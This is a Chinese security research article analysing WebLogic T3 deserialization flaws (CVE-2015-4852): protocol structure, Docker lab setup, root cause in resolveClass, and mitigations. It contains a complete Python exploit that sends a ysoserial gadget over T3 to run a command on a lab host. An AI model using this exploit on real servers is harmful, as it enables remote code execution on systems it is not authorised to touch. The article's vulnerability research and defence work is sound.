Java安全之初探weblogic T3协议漏洞

Java安全之初探weblogic T3协议漏洞

文章首发自安全客：Java安全之初探weblogic T3协议漏洞

0x00 前言

在反序列化漏洞里面就经典的仍是莫过于weblogic的反序列化漏洞，在weblogic里面其实反序列化漏洞利用中大体分为两种，一个是基于T3协议的反序列化漏洞，一个是基于XML的反序列化漏洞。固然也还会有一些SSRF和任意文件上传漏洞，可是在这里暂且不谈。

下面来列出两个漏洞类型的一些漏洞编号

基于T3协议漏洞： CVE-2015-458二、CVE-2016-063八、CVE-2016-35十、CVE-2018-262八、CVE-2020-255五、CVE-2020-2883

基于XML:CVE-2017-350六、CVE-2017-1027一、CVE-2019-2729

粗略的列了几个表明性的CVE漏洞。

在Weblogic中，有部分漏洞是基于上几个漏洞的补丁进行的一个绕过。而在前一段时间内，CVE-2020-14882和CVE-2020-14883里面14883就是基于14882的补丁去进行的一个绕过。

0x01 浅析T3协议

关于T3协议的絮絮不休

关于这个T3协议，他是Weblogic里面独有的一个协议，在前面写的一篇关于RMI的文章里面提到过RMI的传输过程是传输的序列化数据，而在接收后会进行一个反序列化的操做。在Weblogic中对RMI规范的实现使用T3协议。而在T3的传输过程也是同样的。

下面对T3协议的传输过程、如何执行的反序列化操做、T3协议的执行流程去进行一个分析。

在以前先来看一张weblogic进行反序列化的执行流程图。

这里借用了一个图片，在该漏洞的一个入口点是weblogic里面的方法调用了原生的反序列化方法进行一个反序列化操做。

而这里还须要知道该方法在传输完成后是如何进行调用的。关于原生反序列化的操做原理这里就不讲了，能够看到个人该篇文章。

Java安全之原生readObject方法解读,这里主要来说一下T3协议的相关内容。

T3协议概述

WebLogic Server 中的 RMI 通讯使用 T3 协议在 WebLogic Server 和其余 Java 程序（包括客户端及其余 WebLogic Server 实例）间传输数据。

T3协议结构

在T3的这个协议里面包含请求包头和请求的主体这两部份内容。

请求包头

这里拿2个CVE-2015-4852的POC来进行讲解。

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

这里就是他的请求包的头。

使用Wireshark对它进行抓包，因为配置的网卡抓不到包，靶机地址会在23段和1段的ip中来回切换。

这里为了能抓到包配置了一个nat模式的网卡，进行抓包，地址为192.168.23.130，改一下poc的目标地址，发送payload。

在这里在发送请求包头的时候，打了个断点，让脚本只发送请求包头数据，方便抓包。打开Wireshark抓包后发现，发送该请求包头后，服务端weblogic会有一个响应

HELO后面的内容则是被攻击方的weblogic版本号，在发送请求包头后会进行一个返回weblogic的版本号。

请求主体

在T3协议里面传输的都是序列化数据，这个在前面也说过，而传输中的数据分为七部份内容。第一部分为协议头。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n这串数据。

来看到下面的图，图片取自z_zz_zzz师傅的修复weblogic的JAVA反序列化漏洞的多种方法文章。

看到第二到第七部份内容，都是ac ed 00 05,说明该串内容是序列化的数据。而若是须要去构造payload的话，须要在后面序列化的内容中，进行一个替换。将本来存在的序列化内容替换成咱们payload的序列化内容，在传输完成后，进行反序列化达成攻击的目的。

- 第一种生成方式为，将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为，将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

0x02 漏洞环境搭建

环境搭建

这里借用了A-team 的weblogic漏洞环境项目来作搭建环境，省去没必要要的麻烦。

漏洞环境地址：https://github.com/QAX-A-Team/WeblogicEnvironment

jdk地址：https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

weblogic下载地址：https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

这里须要把下载好的jdk文件放在该项目的jdks文件夹下，weblogic的源码放在weblogics文件夹下。

编译运行

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

而后在这里须要去将一些weblogic的依赖Jar包给导出来进行远程调试。

mkdir ./middleware
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

若是不想这么麻烦的话能够直接运行对于的.sh脚本，好比这里安装的是1036 jdk是7u21 ，直接运行run_weblogicjdk7u21.sh，自动安装以及自动从容器里面导出jar包。

远程调试

在这里将jar包复制到物理机上，而后打开IDEA建立一个空项目进行导入。

完成后就来配置远程调试

为了测试，这里使用WeblogicScan来扫描一下，看看在断点地方会不会停下。

在这里发现已经能够进行远程调试，后面咱们就能够来分析漏洞了。

0x03 漏洞分析

漏洞复现

在这先来说漏洞复现一下后，再进行漏洞的分析

仍是拿exp为例子，可是咱们这里是docker搭建的环境，也没有构造回显。经常使用的弹出计算器，就算执行了也无法显示出来，因此在这里使用建立文件的方式验证该漏洞是否利用成功。

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际状况从新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #从新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

执行完成后，查看docker容器里面的文件。

docker exec  weblogic1036jdk7u21 ls tmp/

执行成功。

在执行exp的时候，若是开启debug去查看其实不难发现，发送t3的报文头信息之后会在返回包里面回显weblogic的版本号。

能够看到，后面经过正则提取了返回包的数据，拿到该版本号信息。

漏洞分析

T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操做。

来直接定位到该位置，能够看到断点的位置，里面调用了InboundMsgAbbrev.ServerChannelInputStream#readObject方法，查看一下

这里调用建立一个内部类，而且调用readObject方法，还须要查看一下 ServerChannelInputStream实现。

在这里其实就能够看到ServerChannelInputStream是一个内部类，该类继承ObjectInputStream类，而在这里对resolveClass进行了重写。

可是在此处看到，其实调用的仍是父类的resolveClass方法。在resolveClass方法中也没作任何的校验，致使的漏洞产生。

后面来说讲如何防护到该漏洞。

再谈resolveClass

resolveClass方法的做用是将类的序列化描述符加工成该类的Class对象。

前面分析readObject方法的时候，咱们得知了shiro就是重写了resolveClass方法致使不少利用链没法使用，可是shiro在编写的时候，并非为了防护反序列化漏洞才去重写的resolveClass，可是就是这么一个无心间的举动，致使了防护住了大部分攻击。

而在后面的weblogic补丁当中，也会基于这个resolveClass去作反序列化漏洞的防护。

贴上一张廖师傅的博客的反序列化攻击时序图：

那么这里须要思考到一个问题，为何要在resolveClass进行一个拦截，而不是其余位置？

resolveClass方法的做用是从类序列化描述符获取类的Class对象，若是在resolveClass中增长一个检查，检查一下该类的序列化描述符中记录的类名是否在黑名单上，若是在黑名单上，直接抛出错误，不容许获取恶意的类的Class对象。这样以来，恶意类连生成Class对象的机会都没有。

来看到这个方法，在个人readObject分析文章里面贴出来一张图，readObject的内部使用Class.forName来从类序列化获取到对应类的一个Class的对象。

那么若是这里加入一个过滤，那么这里若是直接抛出异常的话，在readNonProxyDesc调用完resolveClass方法后，后面的一系列操做都没法完成。

参考文章

http://drops.xmd5.com/static/drops/web-13470.html

https://blog.knownsec.com/2020/11/weblogic12c-t3-%e5%8d%8f%e8%ae%ae%e5%ae%89%e5%85%a8%e6%bc%ab%e8%b0%88/

http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

https://xz.aliyun.com/t/8443

0x04 修复方案

这里借鉴z_zz_zzz 师傅的文章中提到的weblogic T3协议漏洞的修复方案，除了打补丁外还有其余的修复方案，先来讲说打补丁的方式，打补丁其实也是在resolveClass方法中实现拦截。

开放在外网的状况下，还能够采用web代理和负载均衡。

web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防护住T3漏洞的攻击。

而负载均衡的状况下，能够指定须要进行负载均衡的协议类型，这么这里就能够设置为HTTP的请求，不接收其余的协议请求转发。这也是在外网中见到T3协议漏洞比较少的缘由之一。

0x05 结尾

在这里其实分析比较浅，由于反序列化操做和CC链这一块，我以为应该单独拿出来讲，而不是集成到这个T3协议漏洞里面一并概述。因此在此处并无对这两块内容进行分析，而这两块内容在前面都有进行分析过，自行查阅。后面的几个T3协议的漏洞，其实也是基于resolveClass的方式进行拦截事后的一个绕过方式，成了一个新的CVE漏洞。